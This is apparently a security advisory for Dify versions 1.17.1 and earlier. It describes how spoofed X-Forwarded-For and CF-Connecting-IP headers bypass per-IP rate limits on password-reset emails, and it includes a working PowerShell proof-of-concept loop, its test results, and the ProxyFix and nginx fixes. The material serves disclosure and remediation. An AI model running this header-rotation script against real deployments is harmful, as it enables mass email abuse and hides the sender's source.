LANGGENIUS/DIFY · GHSA-6j8g-rp8v-55vr · AI agents & MCP
FIX → 1.18.0
Dify takes the client IP from the attacker-controlled CF-Connecting-IP or X-Forwarded-For header and uses it as the rate-limit key. An unauthenticated attacker who rotates these headers gets a fresh bucket per request and can send far more password-reset and similar emails than the per-IP limit allows.
first public Nov 14, 2026 · 1 source
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Self-hosted Dify deployments at version 1.17.1 or earlier are exposed, since the default Docker deployment does not strip CF-Connecting-IP and ProxyFix trusts X-Forwarded-For[0]. Teams using Dify Cloud or a Cloudflare-fronted deployment that overwrites these headers are not affected in the same way. Account takeover is not shown to follow from this bypass alone, because reset codes are keyed by email.
Not affected if default-config, managed-hosting
Who cares dify, docker, python, self-hosted
docker compose ps and the image tag in docker/.env; versions 1.17.1 and earlier are affected.api/extensions/ext_proxy_fix.py contains ProxyFix(app.wsgi_app, x_port=1) without x_for=1.CF-Connecting-IP through in .extract_remote_ip() returns a client-supplied header value as the client IP. Every per-IP rate limiter uses this value as the bucket key. An unauthenticated attacker rotates the header on each request and gets a fresh bucket every time. The per-IP rate limit stops working.
api/libs/helper.py:402-408:
def extract_remote_ip(request):
if request.headers.get("CF-Connecting-IP"):
return request.headers.get("CF-Connecting-IP") # attacker-supplied
elif request.headers.getlist("X-Forwarded-For"):
return request.headers.getlist("X-Forwarded-For")[0] # leftmost = attacker-supplied
else:
return request.remote_addr
The default Docker deployment does not use Cloudflare. nginx does not strip CF-Connecting-IP. Any client can set this header.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
docker/nginx/proxy.conf.templateUpgrade to 1.18.0
1.18.0.x_for=1 to ProxyFix and strip CF-Connecting-IP in nginx for non-Cloudflare deployments (unverified by InfraStack).When CF-Connecting-IP is absent, the function reads X-Forwarded-For[0]. docker/nginx/proxy.conf.template:4 uses $proxy_add_x_forwarded_for which appends the real IP. The attacker-supplied value stays at index 0.
api/extensions/ext_proxy_fix.py sets ProxyFix(app.wsgi_app, x_port=1). x_for is not set. Werkzeug does not sanitise the header.
api/libs/rate_limit.py:61:
return f"ip:{extract_remote_ip(request) or 'unknown'}"
api/services/account_service.py:959:
minute_key = f"email_send_ip_limit_minute:{ip_address}"
Rotating the header rotates the bucket key. The limit never triggers.
Login failure lockout keys by email (account_service.py:845). Password-reset verification keys by email (account_service.py:873). Email-code login uses a per-token Lua attempt budget (email_code_login_challenge.py:52). The per-IP send limit is the only limiter without a non-spoofable fallback.
Tested on Dify 1.17.1, default docker compose deployment, no configuration changes.
git clone https://github.com/langgenius/dify.git
cd dify/docker && cp .env.example .env && docker compose up -d
70 requests with X-Forwarded-For: 203.0.113.7. Each request uses a unique email to isolate the IP limit from the per-email limit.
$ok=0; $blocked=0
for ($i=1; $i -le 70; $i++) {
$body = '{"email":"probe' + $i + '@example.com","language":"en-US"}'
try {
Invoke-WebRequest -Uri http://localhost/console/api/forgot-password `
-Method POST -ContentType "application/json" `
-Headers @{"X-Forwarded-For"="203.0.113.7"} `
-Body $body -UseBasicParsing | Out-Null
$ok++
} catch { $blocked++ }
}
Write-Host "PHASE A: ok=$ok blocked=$blocked"
Result: ok=0 blocked=70 — all rejected with HTTP 429.
70 requests with a random X-Forwarded-For per request. Each request uses a unique email.
$ok=0; $blocked=0
for ($i=1; $i -le 70; $i++) {
$xff = "10.$(Get-Random -Max 255).$(Get-Random -Max 255).$(Get-Random -Min 1 -Max 254)"
$body = '{"email":"test' + $i + '@example.com","language":"en-US"}'
try {
Invoke-WebRequest -Uri http://localhost/console/api/forgot-password `
-Method POST -ContentType "application/json" `
-Headers @{"X-Forwarded-For"=$xff} `
-Body $body -UseBasicParsing | Out-Null
$ok++
} catch { $blocked++ }
}
Write-Host "PHASE B: ok=$ok blocked=$blocked"
Result: ok=70 blocked=0 — all passed with HTTP 200.
Rotating the header defeated the rate limit completely. No other variable changed between Phase A and Phase B.
An unauthenticated attacker bypasses EMAIL_SEND_IP_LIMIT_PER_MINUTE (default 50) by rotating the header on each request. This allows sending password-reset emails to 10,000 different addresses in under 5 minutes. Incident response teams cannot trace the real source.
Account takeover is not possible through this bypass alone. Password-reset code verification is keyed by email, not by IP.
Affected endpoints: POST /console/api/forgot-password (tested), POST /api/forgot-password, GET /openapi/oauth/device/lookup, and all login failure logging.
Add x_for=1 to ProxyFix:
# api/extensions/ext_proxy_fix.py
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_port=1)
Strip CF-Connecting-IP in nginx for non-Cloudflare deployments:
proxy_set_header CF-Connecting-IP "";
proxy_set_header X-Forwarded-For $remote_addr;